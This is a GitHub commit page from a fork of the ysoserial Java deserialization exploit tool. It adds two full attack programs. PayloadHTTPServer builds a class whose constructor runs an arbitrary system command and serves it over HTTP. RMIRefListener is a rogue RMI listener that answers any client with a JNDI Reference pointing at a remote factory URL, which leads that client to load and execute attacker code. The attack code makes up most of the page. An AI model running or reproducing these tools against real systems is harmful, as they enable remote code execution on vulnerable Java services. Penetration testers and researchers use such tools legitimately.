Skip to content

Commit

Permalink
update RMIRegistryExploit2
Browse files Browse the repository at this point in the history
add RMIRefListener and PayloadHTTPServer
  • Loading branch information
wh1t3p1g committed Feb 5, 2020
1 parent d673137 commit 25a7abf
Show file tree
Hide file tree
Showing 6 changed files with 448 additions and 1 deletion.
Empty file removed CommonsCollections1.ser
Empty file.
4 changes: 3 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,12 @@ A proof-of-concept tool for generating payloads that exploit unsafe Java object

![logo](ysoserial.png)

## update
## Update

* CommonsCollection8,9,10
* RMIRegistryExploit2,3
* RMIRefListener,RMIRefListener2
* PayloadHTTPServer

## Description

Expand Down
83 changes: 83 additions & 0 deletions src/main/java/ysoserial/exploit/PayloadHTTPServer.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
package ysoserial.exploit;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

/**
* @author wh1t3P1g
* @since 2020/2/5
*/
public class PayloadHTTPServer {

public static void main(String[] args) {
if ( args.length < 3 ) {
System.err.println(PayloadHTTPServer.class.getName() + " <port> <classname> <command>");
System.exit(-1);
return;
}

int port = Integer.parseInt(args[0]);
String classname = args[1];
String command = args[2];

try {
System.err.println("* Opening Payload HTTPServer on " + port);
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/"+classname+".class", new PayloadHandler(classname, command));
server.setExecutor(null);
server.start();
} catch (IOException e) {
e.printStackTrace();
} catch (Exception e){
e.printStackTrace();
}
}

static class PayloadHandler implements HttpHandler {

private String classname;
private String command;
private byte[] obj;

public PayloadHandler(String classname, String command) throws Exception{
this.classname = classname;
this.command = command;
generate();
}

private void generate() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass(classname);

String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
// create a default constructor
// and insert runtime payload to execute system command
CtConstructor constructor = CtNewConstructor.defaultConstructor(cc);
constructor.insertAfter(cmd);
cc.addConstructor(constructor);
this.obj = cc.toBytecode();
}

@Override
public void handle(HttpExchange exchange) throws IOException {
System.err.println("Have connection from "+exchange.getRemoteAddress());
System.err.println("Get request <"+exchange.getRequestMethod()+"> "+exchange.getRequestURI());
exchange.sendResponseHeaders(200, obj.length);
OutputStream os = exchange.getResponseBody();
os.write(obj);
os.close();
System.err.println("return payload and close");
}
}
}
293 changes: 293 additions & 0 deletions src/main/java/ysoserial/exploit/RMIRefListener.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,293 @@
package ysoserial.exploit;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;

import javax.naming.Reference;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class RMIRefListener implements Runnable {

private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;


public RMIRefListener(int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}


/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}


public static final void main ( final String[] args ) throws Exception{

if ( args.length < 3 ) {
System.err.println(RMIRefListener.class.getName() + " <port> <factory_name> <factory_url>");
System.exit(-1);
return;
}

Reference reference = new Reference(args[ 1 ],args[ 1 ],args[ 2 ]);
final Object payloadObject = new ReferenceWrapper(reference);

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening RMI Reference listener on " + port);
RMIRefListener c = new RMIRefListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}


public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}

OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");

int op = in.read();

switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;

case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;

case TransportConstants.DGCAck:
UID u = UID.read(in);
break;

default:
throw new IOException("unknown transport op " + op);
}

s.close();
}


private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);

oos.writeObject(this.payloadObject);

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}


public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;

}
}
Loading

0 comments on commit 25a7abf

Please sign in to comment.